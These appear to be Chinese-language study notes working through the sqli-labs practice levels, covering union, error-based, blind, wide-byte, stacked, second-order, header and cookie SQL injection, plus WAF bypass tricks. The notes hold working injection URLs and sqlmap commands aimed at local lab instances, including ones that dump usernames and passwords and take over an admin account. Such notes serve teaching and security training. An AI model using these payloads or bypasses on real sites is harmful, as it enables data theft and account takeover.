-
判断是否为动态页面 输入不同的id 看回显 内容不同则为动态页面
-
判断闭合符号
输入\ 回显中\后面的就是闭合符号
-
判断是否存在SQL注入
输入1’) and 1=1。如果得到输出结果,证明用户可通过SQL语句得到数据,所以存在SQL注入
-
判断输出列数,得到输出点
用order by
得到列数后,用union select 1,2,3 – 得到输出点
只回显一条时,可将union前的值输入不存在的,使回显成为我们想要的内容
-
得到基本信息,爆库、爆表、爆列、爆数据
-
爆库,在之前得到的输出点中选一个替换成database()
-
爆表,同理替换 table_name from information_schema.tables where table_schema=database() limit 0,1
-
爆字段,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1
-
爆数据,(之前查到的字段名)from (查到的表)
-
-
(1-4关采用以上方法,区别在于闭合条件的不同)
-
报错注入
-
利用场景
-
当页面没有正确的返回错误信息时,就可以利用报错注入
-
-
原理
-
利用数据库中的个别函数进行报错使用
-
-
常见函数
-
updatexml()
更新XML文档的函数
-
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
-
-
-
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码 - extractvalue() 对XML文档进行查询的函数 - 语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。 extractvalue(456,concat(0x7e,version(),0x7e))
其他所用函数 concat() ==>将多个字符串连接成一个字符串
-
爆表
-
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- q
-
-
爆字段
-
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1) -- q
-
-
爆数据
-
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1, concat(0x7e,(select username from iusers limit 0,1),0x7e),1) -- q
-
-
——————5、6关为报错注入,区别在于6关的闭合条件为"———————
-
正常访问以后提示Use outfile.....
MySQL中你可以使用SELECT...INTO OUTFILE语句来简单的导出数据到文本文件上。
在MySQL里面使用select … into outfile可以把数据导出到文本文件上 里面有几个参数 secure_file_priv 用来限制导出效果。他有三个属性: null限制不能导出 为空可以自定义 为一个路径则只能导出到指定路径
show variables like '%secure%';查看当前secure_file_priv的值
-
利用outfile,爆库名
-
http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) UNION SELECT user(),version(),database() into outfile "d:\less7\database.txt" %23
-
-
爆表名
-
http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) UNION SELECT user(),version(),(select group_concat(table_name) from information_schema.tables where table_schema="security" ) into outfile "d:\less7\tables.txt" %23
-
-
爆列名
-
http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) UNION SELECT user(),version(),(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" ) into outfile "d:\less7\columns.txt" %23
-
-
爆字段内容(获取用户表的账号和密码)
-
http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) UNION SELECT user(),version(),(select group_concat(t.up) from (select concat(username, "~",password) up from security.users) t) into outfile "d:\less7\users.txt" %23
-
-
select into outfile
-
-
——————————————7关为盲注,采用将信息输出到本地文件中拿到数据——————
-
– 布尔盲注
-
利用场景
-
在有些情况下,后台使用了错误信息屏蔽方法(比如@),屏蔽了报错,无法在根据报错信息来进行注入的判断,该情况称为"盲注"
-
表现形式
-
based boolean (布尔盲注)
-
based time(时间盲注)
-
-
-
布尔盲注
-
传入“”错误“”参数和“正确”参数,观察页面是否发生了变化
-
所用函数
-
length() 获取字符串的长度
-
substr() 截取字符串
-
语法:substr(string,num start,num length)
-
string 字符串;start 起始位置(从1开始);截取长度
-
ascii() 把字符转换为ascii码值
-
-
-
-
sqlmap 跑布尔盲注
-
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B --current-db
-
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security --tables 爆表
-
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users --columns 爆字段
-
python sqlmap.py -u "http://127.0.0.1/sqli/Less-8/?id=1" --technique B -D security -T users -C id,username,password --dump 爆数据
-
-
-
——————8关为布尔盲注——————
-
时间盲注(延时注入)
-
利用场景
-
如果说基于Boolean的盲注在页面上可以看到0 or 1 的回显,那么时间盲注完全啥都看不到,但可以通过特定的输入,判断后台的执行时间,从而确定注入
-
-
所用函数
-
sleep() 让程序挂起,单位秒
if(condition,value_if_true,value_if_false)
语法:当condition为真时,返回value_if_true,否则返回value_if_false
length() 获取字符串的长度
substr() 截取字符串
语法:substr(string,num start,num length)
string 字符串;start 起始位置(从1开始);截取长度
ascii() 把字符转换为ascii码值
-
-
判断版本号
-
http://127.0.0.1/sqli/Less-9/?id=1' and if( length(substr(select version(),1,1))=5,null,sleep(5)) -- q
-
-
sqlmap 跑时间盲注
-
使用 --technique 指定SQLMap探测技术 支持的探测方式有:
-
B: 基于Boolean的盲注(Boolean based blind)
-
Q: 内联查询(inlin queries)
-
T:基于时间的盲注(time based blind)
-
U: 联合查询(union query based)
-
E: 错误(errorbased)
-time-sec参数设定延时时间,默认是5秒。
-
-
爆库
-
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 --current-db
-
-
爆表
-
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security --tables
-
-
爆字段
-
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users --columns
-
-
爆数据
-
python sqlmap.py -u "http://127.0.0.1/sqli/Less-9/?id=1" --technique T --time-sec 3 -D security -T users -C id,username,password --dump
-
-
-
-
————9、10关为时间盲注,10关的闭合条件为''——————
-
————11、12关为正常的基于字符的注入,不同的是需要在文本框中注入,且12的闭合条件为“)(POST请求)————
-
————13、14关为基于报错的post注入,14的闭合条件为"
-
————15 post盲注
-
宽字节注入
-
注入基础
-
GBK 编码 两个字节表示一个字符
-
ASCII 编码 一个字节表示一个字符
-
MYSQL默认字节集是GBK等宽字节字符集
-
-
addslashes()函数
-
addslashes ( string
$str
) : string
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。 这些字符是单引号(
'
)、双引号("
)、反斜线(\
)与 NUL(null
字符)。只要注入' " \ 空字符 都会转义为 \' \" \\ \ 魔术单引号同理【PHP5.4及其以上魔术引号是被删除了】
-
-
利用场景
-
如果网站使用了 addslashes()函数函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入
-
%DF':
-
会被PHP当中的addslashes函数转义为:%DF\'
-
\ 会被URL编码为 %5C
-
那么 %DF' 会被转义为 %DF%5C%27
-
%DF%5C%27是一个宽字节 也就是一个縗' 从而可以进行构造闭合,进行注入 小技巧:有的时候我们也可以用16进制来代替字符串
URL编码 %27---------单引号
%20----------空格
%23-----------#号
%5c------------\反斜杠
-
1%df – q
-
order by 判断字段数
-
1%df order by 4 – q
-
-
union 判断回显点
-
1%df union select 1,2 – q
-
-
爆库
-
爆表
-
爆字段
-
正常查询报错–使用子查询
-
index.php?id=0%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name= (select table_name from information_schema.tables where table_schema=database() limit 0,1) -- q
-
-
sqlmap 跑宽字节注入
-
--tamper unmagicquotes.py
-
-
-
——————32关——————
-
堆叠注入
-
原理
-
可以用;,多条语句同时执行
-
-
if (expr1,expr2,expr3) :若expr1为true,则执行expr2,否则执行expr3
-
判断数据库库名长度:1;select if (length(database())>1,sleep(5),1)
-
判断数据库库名:1;select if(substr(database(),1,1)='t',sleep(5),1)
-
判断表名:1;select if (substr((select table_name from information_schema.tables where table_schema='database()' limit 0,1),1,1)='p',sleep(5),1)
-
判断字段名:1;select if (substr((select column_name from information_schema.columns where table_schema='database()' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)
-
判断内容:1;select if (substr((select username from test.users limit 0,1),1,1)='z',sleep(5),1)
-
-
二次注入
-
原理
-
二次注入是通过与数据库服务器进行交互的过程再次进行注入
-
-
利用条件
-
用户输入恶意语句
-
数据库把用户输入的数据没有做任何更改,直接进行了存储
-
再用户取出数据的过程中,数据库将用户输入的数据完整且没有做任何修饰的展示给用户
-
-
利用场景
-
常常发生在注册页面,插入恶意语句,在仅知道管理员的账号,但是不知道密码的情况下,改掉管理员的密码
-
-
在注册用户页面 用户名输入为admin‘ – q 密码随意 在修改刚注册的admin‘ – q用户密码,就可修改admin用户的密码
-
原理:
-
更改密码处的后端代码
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "
-
当我们使用admin’ – q用户名 更改密码时 代码变为
$sql = "UPDATE users SET PASSWORD='$pass' where username='admin' -- q' and password='$curr_pass' " username=‘admin’ – q’==>此处admin’构成闭合,用户名变为amdin用户,-- q则注释了后面的单引号 故可以使用 用户名admin’ – q 密码123456 登录,然后更改用户名admin的密码
-
-
-
Header注入
-
HTTP消息头是指,在超文本传输协议( HTTP)的请求和响应消息中,协议头部分的那些组件
-
HTTP Header内容的组织形式,大体分为Request和Response两部分
-
HTTP消息头支持自定义
-
在Requests部分中,几个常见参数
-
常见参数 说明
User-Agent 记录用户所使用的浏览器信息 Accept 指定客户端能够接收的内容类型 Accept-Language 浏览器可接受的语言 Accept-Encoding 指定浏览器可以支持的web服务器返回内容压缩编码类型 Content-Type 请求的与实体对应的MIME信息 Content-Length 请求的内容长度 Connection 表示是否需要持久连接 Referer 先前网页的地址,从哪个网站访问过来的 Cookie HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器 Host 指定请求的服务器的域名和端口号 X-Forwarded-For 用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段
-
注入场景
-
在一些网站中,用户登录后会记录用户的cookie、ip、UA、Referer等等
-
与数据库交互的位置就有可能存在注入点
-
-
User-Agent(UA)注入
-
Referer注入
-
IP注入
-
-
-
Coolie注入(Access)
-
Access
Access是微软发布的关系数据库管理系统
基础语法同MySQL语法相似
注意:Access没有库的概念,只有表的概念
通常于ASP脚本语言搭配使用
-
Cookie
-
cookie:一串随机字符串,存储在用户本地终端上的数据,是某些网站为了辨别用户身份,进行session跟踪而存储在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时后永久保存的信息
-
-
存在意义 Cookie认证技术简化了用户访问Web网站资源的过程,即用户只需在初次登录网站时输入身份信息进行认证,随后便可以访问被授权的所有站点资源,不再重复手工提交身份信息
-
Cookie的认证机制 在web认证中,因为http协议本身的局限,必须采用其他技术将相应认证标识以某种方式持续传送,以免客户从一个页面跳转到同站另一个页面时又需要重新输入认证信息
-
基于Cookie的认证过程,由三个阶段组成:
-
发布Cookie: 当用户 访问某个web站点时需要认证资源时,Web服务器会检查用户是否提供了认证cookie,如果没有,则重定向到登录界面。在用户登录成功后,web服务器会产生认证cookie,并通过HTTP响应中的set-cookie发生给客户端,用于对用户随后的请求进行检查和验证
-
检索Cookie:在用户随后的访问请求中,客户端浏览器检索Path和Domain等属于与用户请求资源相匹配的cookie,并找到cookie通过HTTP请求中的cookie头提交给服务器
-
验证cookie:Web服务器提取客户端浏览器递交的cookie,验证体重的访问令牌。
如合法,则将访问请求的资源发生给客户端浏览器,反之则拒绝用户的访问请求
设置的cookie能够影响页面的数据,不一定存在SQL注入
可能有cookie注入的网站:
-
ASP的站点
-
PHP版本低于5.3的版本
判断网站所使用的数据库 常见状况 ASP - Access PHP - MySQL | Oracle | mssql ASPX - mssql JSP - Oracle | MySQL
-
-
-
-
Base64注入
-
原理
-
网站使用了base64加密传参值,然后使用base64解码之后进行带入查询,相等于中间多了一层加密
-
-
-
SQL注入绕过
-
WAF
-
WAF(Web应用防火墙)是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
-
通俗来说就是WAF产品里集成了一定的检测规则,会对每个请求的内容根据生成的规则进行检测并对不符合安全规则的作出对应的防御处理,从而保证Web应用的安全性与合法性
-
处理流程
-
预处理 预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内 如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分
-
规则检测
每一种WAF产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为
-
处理模块
-
针对不同的检测结果,处理模块会做出不同的安全防御动作如果符合规则,则交给后端Web服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、告警处理不同的WAF产品会自定义不同的拦截警告页面,在日常渗透中我们也可以根据不同的拦截页面来辨别出网站使用了哪款WAF产品,从而有目的性的进行WAF绕过
-
-
日志记录
WAF在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以查看日志进行分析
-
-
分类
-
软WAF
-
安全狗,云锁,D盾
-
-
硬WAF
-
Imperva、天清WAG
-
-
云WAF
-
阿里云云盾,腾讯云WAF
-
-
自定义WAF
-
网站开发人员自己写的防护规则
-
-
-
部署方式
-
透明网桥
-
反向代理
-
镜像流量
-
路由代理
-
-
-
常用绕过技巧
-
编码绕过
-
绕WAF最常见的方法就是使用各种编码进行绕过,但编码能绕过的前提是提交编码后的参数内容在进入数据库查询语句之前会有相关的解码代码
-
URL编码
-
二次URL编码
-
Unicode编码
-
Base64编码
-
Hex编码
-
ASCII编码
-
-
字母大小写转换绕过
-
部分WAF只过滤全大写(SLEEP)或者全小写(sleep)的敏感字符,未对sleeP/slEEp进行过滤,可对关键字进行大小写转换进行绕过
-
-
-